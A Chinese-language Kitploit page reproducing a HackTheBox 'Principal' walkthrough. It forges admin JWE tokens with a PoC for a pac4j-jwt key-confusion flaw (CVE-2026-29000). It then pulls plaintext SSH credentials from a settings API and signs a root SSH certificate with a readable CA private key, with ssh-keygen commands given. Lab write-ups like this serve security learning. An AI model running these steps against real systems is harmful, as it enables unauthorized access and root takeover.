Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Principal-HackTheBox — # 利用 pac4j-jwt 中的 CVE-2026-29000 绕过身份验证、从 API 设置中提取凭据,并通过 SSH CA 签名在 HackTheBox Linux 机器上提升权限的详细演练。 | Kitploit
工具/GitHubGitHub/ledksv/principal-hackthebox
权限提升漏洞分析漏洞利用Web安全密码学CTF渗透测试身份验证
GitHubledksv/principal-hackthebox

Principal-HackTheBox

# 利用 pac4j-jwt 中的 CVE-2026-29000 绕过身份验证、从 API 设置中提取凭据,并通过 SSH CA 签名在 HackTheBox Linux 机器上提升权限的详细演练。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HackTheBox — Principal

难度: 中等 操作系统: Linux 平台: HackTheBox


概述

Web 应用程序运行 pac4j-jwt v6.0.3 — 存在 CVE-2026-29000 漏洞。公钥 RSA 密钥通过 JWKS 端点以未认证方式暴露,可用于伪造有效的管理员 JWE 令牌,从而完全绕过身份验证。获得管理员访问权限后,可从设置 API 中恢复明文 SSH 凭据。该服务账户是 deployers 组的成员,对 sshd 信任的 SSH CA 私钥具有读取权限 — 签署授予 root 访问权限的证书即可完成该靶机。


1. 信息收集

浏览 Web 应用程序并查看页面源代码。在 /static/js/app.js 中找到主要 JavaScript 包。

在 app.js 中识别出的关键 API 端点:

root@kitploit:~
/api/auth/login
/api/auth/jwks      <- 公钥端点(未认证)
/api/dashboard
/api/users
/api/settings

页面页脚显示:pac4j-jwt v6.0.3 — 存在 CVE-2026-29000 漏洞。


2. JWT 身份验证绕过 — CVE-2026-29000

从未认证的 JWKS 端点获取 RSA 公钥:

root@kitploit:~
curl http://<TARGET_IP>:8080/api/auth/jwks
# 返回 RSA 公钥(kid: enc-key-1)

CVE-2026-29000 允许使用公钥伪造有效的 JWE 令牌 — 该库错误地接受使用公钥加密的令牌,而不是要求使用私钥。

使用 PoC 生成伪造的管理员令牌:

root@kitploit:~
python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. 管理员 API 访问

在 Burp Repeater 中使用伪造令牌作为 Bearer 令牌:

root@kitploit:~
Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

  • 确认角色:ROLE_ADMIN
  • 活动日志显示用户 svc-deploy 的 CERT_ISSUED 操作

GET /api/settings → 200 OK

  • 在安全配置中找到明文 SSH 凭据
  • 已启用 SSH 证书认证
  • SSH CA 路径:/opt/principal/ssh/

4. 初始访问

使用从 /api/settings 恢复的凭据通过 SSH 登录:

root@kitploit:~
ssh svc-deploy@<TARGET_IP>

获取用户标志。


5. 权限提升 — SSH CA 签名

svc-deploy 属于 deployers 组,对 /opt/principal/ssh/ 具有读取权限:

root@kitploit:~
ls -la /opt/principal/ssh/
# ca        — RSA 4096 位 CA 私钥(deployers 组可读)
# ca.pub    — CA 公钥
# README.txt — 确认 CA 受 sshd 信任

CA 私钥可读。由于 sshd 信任此 CA,任何由其签名的证书都会被接受 — 包括授予 root 访问权限的证书。

root@kitploit:~
# 生成新的密钥对
ssh-keygen -t ed25519 -f /tmp/privesc

# 使用 CA 签名,授予 principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# 以 root 身份 SSH 登录
ssh -i /tmp/privesc root@<TARGET_IP>

获取 root 标志。


标志

  • 用户: /home/svc-deploy/user.txt
  • Root: /root/root.txt

关键要点

  • 在 Web 应用侦察期间始终检查 JWT 库版本 — pac4j-jwt 在 Java 应用程序中很常见。
  • CVE-2026-29000:pac4j JWE 密钥混淆 — 在需要私钥的地方接受了公钥。
  • API 设置端点经常以明文形式泄露凭据 — 一旦获得有效令牌,务必枚举所有已认证的路由。
  • 如果服务账户可以读取 sshd 信任的 SSH CA 私钥,则可以以任何 principal(包括 root)身份签署证书。在后期利用期间检查组成员身份和 CA 密钥权限。
下载工具